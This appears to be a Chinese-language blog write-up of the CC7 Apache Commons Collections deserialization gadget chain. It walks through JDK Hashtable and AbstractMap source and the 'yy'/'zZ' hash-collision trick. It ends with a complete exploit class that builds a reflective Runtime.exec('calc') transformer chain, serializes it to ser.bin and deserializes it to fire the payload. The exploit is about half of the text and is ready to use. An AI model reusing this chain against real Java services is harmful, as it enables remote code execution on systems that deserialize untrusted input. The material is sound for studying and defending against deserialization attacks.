CC7
与CC5类似,后半还是LazyMap.get()
链子
直接看链子 ,get()确实很多调用的
java.util.AbstractMap 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 public boolean equals (Object o) { if (o == this ) return true ; if (!(o instanceof Map)) return false ; Map<?,?> m = (Map<?,?>) o; if (m.size() != size()) return false ; try { Iterator<Entry<K,V>> i = entrySet().iterator(); while (i.hasNext()) { Entry<K,V> e = i.next(); K key = e.getKey(); V value = e.getValue(); if (value == null ) { if (!(m.get(key)==null && m.containsKey(key))) return false ; } else { if (!value.equals(m.get(key))) return false ; } } } catch (ClassCastException unused) { return false ; } catch (NullPointerException unused) { return false ; } return true ; }public int size () { return entrySet().size(); }
需要注意的是第三个if
比较,这里会比较传入map和原map的大小
java.util.Hashtable 入口:java.util.Hashtable#readObject
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 private void readObject (java.io.ObjectInputStream s) throws IOException, ClassNotFoundException { s.defaultReadObject(); int origlength = s.readInt(); int elements = s.readInt(); int length = (int )(elements * loadFactor) + (elements / 20 ) + 3 ; if (length > elements && (length & 1 ) == 0 ) length--; if (origlength > 0 && length > origlength) length = origlength; table = new Entry <?,?>[length]; threshold = (int )Math.min(length * loadFactor, MAX_ARRAY_SIZE + 1 ); count = 0 ; for (; elements > 0 ; elements--) { @SuppressWarnings("unchecked") K key = (K)s.readObject(); @SuppressWarnings("unchecked") V value = (V)s.readObject(); reconstitutionPut(table, key, value); } }
reconstitutionPut
是比较关键的地方。在第12行触发链子,需要满足前一个条件的成立 e.hash == hash
,e.key
为一个lazymap。
因为他是将tab
中的每一个元素都拿出来对比,所以需要至少传入两个元素。存入元素使用的是put方法。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 private void reconstitutionPut (Entry<?,?>[] tab, K key, V value) throws StreamCorruptedException { if (value == null ) { throw new java .io.StreamCorruptedException(); } int hash = key.hashCode(); int index = (hash & 0x7FFFFFFF ) % tab.length; for (Entry<?,?> e = tab[index] ; e != null ; e = e.next) { if ((e.hash == hash) && e.key.equals(key)) { throw new java .io.StreamCorruptedException(); } } @SuppressWarnings("unchecked") Entry<K,V> e = (Entry<K,V>)tab[index]; tab[index] = new Entry <>(hash, key, value, e); count++; }
因为反序列化时要触发 reconstitutionPut()
中的 (e.hash == hash) && e.key.equals(key)
,我们传入的值的hashcode
,要冲突,才会触发equals。但是存在一点小问题需要解决。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 public synchronized V put (K key, V value) { if (value == null ) { throw new NullPointerException (); } Entry<?,?> tab[] = table; int hash = key.hashCode(); int index = (hash & 0x7FFFFFFF ) % tab.length; @SuppressWarnings("unchecked") Entry<K,V> entry = (Entry<K,V>)tab[index]; for (; entry != null ; entry = entry.next) { if ((entry.hash == hash) && entry.key.equals(key)) { V old = entry.value; entry.value = value; return old; } } addEntry(hash, key, value, index); return null ; }
yy和zZ 两个值的hashcode相等,为什么不直接存入两个相同的值,因为在使用put存入键值对的时候,两个相同的key是不行的。
但是第二次put的时候,会触发equals,会在 org.apache.commons.collections.map.LazyMap#get
时加入新的键值对,与CC6中类似。
1 2 3 4 5 6 7 8 9 public Object get (Object key) { if (map.containsKey(key) == false ) { Object value = factory.transform(key); map.put(key, value); return value; } return map.get(key); }
remove(“yy”) 需要remove这一步骤,因为在 java.util.AbstractMap#equals 处会比较两个lazymap的大小。
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.commons.collections.map.LazyMap;import org.junit.Test;import java.io.*;import java.lang.reflect.Field;import java.util.HashMap;import java.util.Hashtable;import java.util.Map;public class CC7Test { public static void serializable (Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream (new FileOutputStream ("ser.bin" )); oos.writeObject(obj); } public static Object unserializable (String path) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream (new FileInputStream (path)); return ois.readObject(); } @Test public void test () throws Exception { Transformer[] transformers = new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class []{String.class, Class[].class}, new Object []{"getRuntime" , null }), new InvokerTransformer ("invoke" , new Class []{Object.class, Object[].class}, new Object []{null , null }), new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"calc" }) }; ChainedTransformer chainedTransformer = new ChainedTransformer (new Transformer []{}); HashMap hashMap1 = new HashMap (); HashMap hashMap2 = new HashMap (); Map lazymap1 = LazyMap.decorate(hashMap1, chainedTransformer); Map lazymap2 = LazyMap.decorate(hashMap2, chainedTransformer); lazymap1.put("yy" , 1 ); lazymap2.put("zZ" , 1 ); Hashtable hashtable = new Hashtable (); hashtable.put(lazymap1, 1 ); hashtable.put(lazymap2, 1 ); lazymap2.remove("yy" ); Class c = chainedTransformer.getClass(); Field field = c.getDeclaredField("iTransformers" ); field.setAccessible(true ); field.set(chainedTransformer, transformers); serializable(hashtable); } @Test public void test2 () throws IOException, ClassNotFoundException { unserializable("ser.bin" ); } }
小摊 链子 1 2 3 4 java.util .Hashtable#readObject java.util .Hashtable#reconstitutionPut org.apache .commons .collections .map .AbstractMapDecorator#equals java.util .AbstractMap#equals